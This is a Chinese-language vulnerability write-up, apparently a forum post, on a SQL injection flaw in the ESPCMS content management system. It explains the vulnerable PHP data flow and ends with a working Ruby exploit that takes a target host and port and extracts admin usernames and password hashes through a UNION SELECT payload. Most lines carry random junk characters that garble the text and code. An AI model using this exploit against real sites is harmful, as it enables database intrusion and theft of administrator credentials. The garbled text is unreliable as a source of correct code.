0×0 漏洞概述0×1 漏洞细节4 C+ @. j) a( D. A8 R, z; @
0×2 PoC
- c- {1 ]; v) n- {8 g* [6 V4 n0 M" f. J
" L% I% Z+ }4 V" g1 x; Q# G" |8 z# m: y$ z9 H
0×0 漏洞概述! S; @: ]4 y9 o4 [% M. p: ^
4 o6 u8 U- S" J3 I9 r2 R
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。) J6 n" x' u! y6 A9 \
其在处理传入的参数时考虑不严谨导致SQL注入发生9 z$ m" r1 [, `9 i; D# ~6 b$ L# L
+ i/ v( T% Y0 D: q% C l6 I4 ~0 ?! ]' u& m. E8 a
0×1 漏洞细节+ ?# c8 Q8 C# M2 ]2 H4 {( V
' ~) O& p ?9 B. P K/ ^; t! t
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
& P; h4 C1 e# X- {" C正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。! g& Z( `+ f( k6 q( E( O
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。7 V" M% E* G$ w6 A( p6 J
# _* C8 ~9 P& d2 |3 z在/interface/3gwap_search.php文件的in_result函数中:
* A, w0 R0 z0 j# {; C
) T$ `; o# ^; o# D# t
) S" S( Q% \: [- m7 k
- v9 B) T; Y4 @# `( j, S function in_result() {4 i4 B( \2 `1 ^
... ... ... ... ... ... ... ... ...0 F' r* k# I( X& B/ e
$urlcode = $_SERVER[ 'QUERY_STRING '];
5 F& R0 ^6 ^" {' @2 g/ g parse_str(html_entity_decode($urlcode), $output);
+ G7 v: [. k+ F# P7 z0 _& Y" u7 }' d$ E9 [
... ... ... ... ... ... ... ... ..." y7 s& C& p& O$ D; d
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
2 t& J- s; W* B5 A( w& o; S4 C; X2 C1 b9 u
$db_table = db_prefix . 'model_att';
4 o" m9 X: l: a1 E X, Y1 H' R# O2 Y1 m# M7 L% o# w
foreach ($output['attr' ] as $key => $value) { I. g5 o* _% e0 W: U& g
if ($value) {' N2 L& n& g( K# o8 s9 r" J
% o: b! G2 R) x6 G
$key = addslashes($key);) G7 b9 I, S6 r0 q" D. X& |7 u% V
$key = $this-> fun->inputcodetrim($key);
: c" d- ~6 \; c6 t7 b1 N" L; S K $db_att_where = " WHERE isclass=1 AND attrname='$key'";- M* E1 B$ T* o. |3 G+ a6 a
$countnum = $this->db_numrows($db_table, $db_att_where);( v* V! p5 W2 J& K8 F( t, D
if ($countnum > 0) {
6 S$ U. B2 N* F9 \9 U $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;$ q$ p' `$ x3 L6 l$ `6 j3 U& H% [
}! ~* k# Z0 v& l: V* e
}
" M$ A" V& t" T. Q) s }$ Z, e8 [" i1 H! P* T/ N! R' {
}) u* x6 V3 R2 Q- o
if (!empty ($keyword) && empty($keyname)) {
0 q2 B7 C7 F, ?. b0 t7 W$ x $keyname = 'title';
0 K k7 D% V M+ r $db_where.= " AND a.title like '%$keyword%'" ;( M3 T7 i8 F2 S. L8 s
} elseif (!empty ($keyword) && !empty($keyname)) {! U+ r" I: |) Y! G" y
$db_where.= " AND $keyname like '% $keyword%'";3 O1 U% V" H/ T: E/ l- W# c, O
}7 g' d# {3 ~3 X" M) c2 E
$pagemax = 15;) c! I% V6 s' L# m4 ?0 f8 l. O! S
' Z! K" u. y6 C/ e: O( Z, Z* ]- }1 X $pagesylte = 1;
$ y1 z* _' D# d i8 C
. D4 A' G; c' Q if ($countnum > 0) {
- {* @. ^4 C! e
5 ]8 o/ E8 U$ V; V $numpage = ceil($countnum / $pagemax);$ d$ Y( w! T1 k& M' m
} else {- F& q7 }- E3 e2 @) j; y0 z
$numpage = 1;" u( A- K3 p4 N# J6 F/ X. D/ Q+ u
}1 `, H2 p" q5 n: L% L$ ]- s
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
4 q3 r# g3 D$ m- N9 Y) P+ |7 j, ` T& C $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);6 H9 Y8 p- L: H2 `
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
4 E# v( x V2 D6 o4 d% \ ... ... ... ... ... ... ... ... ...
/ i( K1 ]7 J1 [5 Y2 K }
7 Q$ Q1 U* \! @2 ]" n" T1 Y+ ~: f6 P
7 m% T3 t4 w, V( K7 \: h0 u
0×2 PoC
& d7 Q( f% s2 w3 F Y& ^5 D6 X4 R( w( c& K
' g# _) b9 t' J$ m; Z9 i
' G" v4 x6 C& g% o* a, Y4 @1 b. V: Jrequire "net/http"! q) f4 Y; F7 u
+ O7 i$ [$ U1 [! P+ H, |$ E( c
def request(method, url)! {5 A1 Z$ s/ }9 Y& |
if method.eql?("get")1 y5 ~# j' C: E& K$ c m
uri = URI.parse(url)% q' l' h6 x* F: \/ u& X7 E
http = Net::HTTP.new(uri.host, uri.port)9 w2 r" q2 O( x6 l
response = http.request(Net::HTTP::Get.new(uri.request_uri))
6 e; j9 W+ G0 F: @5 k& b6 P return response
/ e7 r' Q( V2 T# z) l5 H end
d9 y# H( s& c( f+ o" @% Y4 s2 Send
& `# y/ x- O% @0 r' J8 Q+ T, B. ]
( I: ?. x( a; K; T% h) ^2 tdoc =<<HERE( l7 y- P3 g3 g T0 |% l
-------------------------------------------------------
/ l6 }, L* `2 ~4 L9 j, G% bEspcms Injection Exploit% {1 k7 F1 A5 R
Author:ztz6 v' I5 W' U- B) o) B
Blog:http://ztz.fuzzexp.org/
0 n8 z! }3 t2 t$ \-------------------------------------------------------$ i! e1 W* R9 u& O
. R1 A3 D/ b* |5 V$ }, y5 F. O$ F& A3 X0 ?
HERE
& l! r, M1 J! c% Z9 [' _) @ M# E9 Z( ]; J& \4 W
usage =<<HERE* [# y5 j4 ?: B8 ^3 |
Usage: ruby #{$0} host port path |! r' R o; J+ n
example: ruby #{$0} www.target.com 80 /9 m& }$ n h" A6 \4 h |2 y- @( d
HERE; G; I8 X" T* r* c% _- D8 a' d
5 ^ Y$ ^' F; {- E5 k" S$ `' u8 h
puts doc
+ h/ e" B0 c# r+ u2 X. |if ARGV.length < 3
) T6 I8 _8 g; V2 D" Z( M% {9 G puts usage6 H2 o4 R5 b' h' D3 ^
else3 _" p2 y H4 D
$host = ARGV[0]
) s i5 K' D: I, o/ I0 c $port = ARGV[1]$ `0 e% L# ]4 V8 H6 s* A- C r
$path = ARGV[2], _# H7 m6 \) D
7 V2 V' r7 t9 d" ~0 |1 Z% | puts "send request..."
. N8 ? f$ ^! ]4 O2 C/ d# K2 z url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&# J5 h9 f- |( t, G: r& o9 C" o3 ?
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
9 H7 X7 E% U5 T! T, }1 k,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
+ I$ A& I1 E- l& X/ j3 ^,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"5 x+ D _: l# o
response = request("get", url)
" t) {# g; M9 Y, \; D6 H$ _ result = response.body.scan(/\w+&\w{32}/)
4 u0 H" _1 J) x5 l" R puts result
8 t7 [3 h, H8 r( Z6 d2 R5 Vend: z- w+ j9 {) C! A+ ?
' L- g2 F- u9 G5 I8 Y& F3 o' I0 {+ ~
|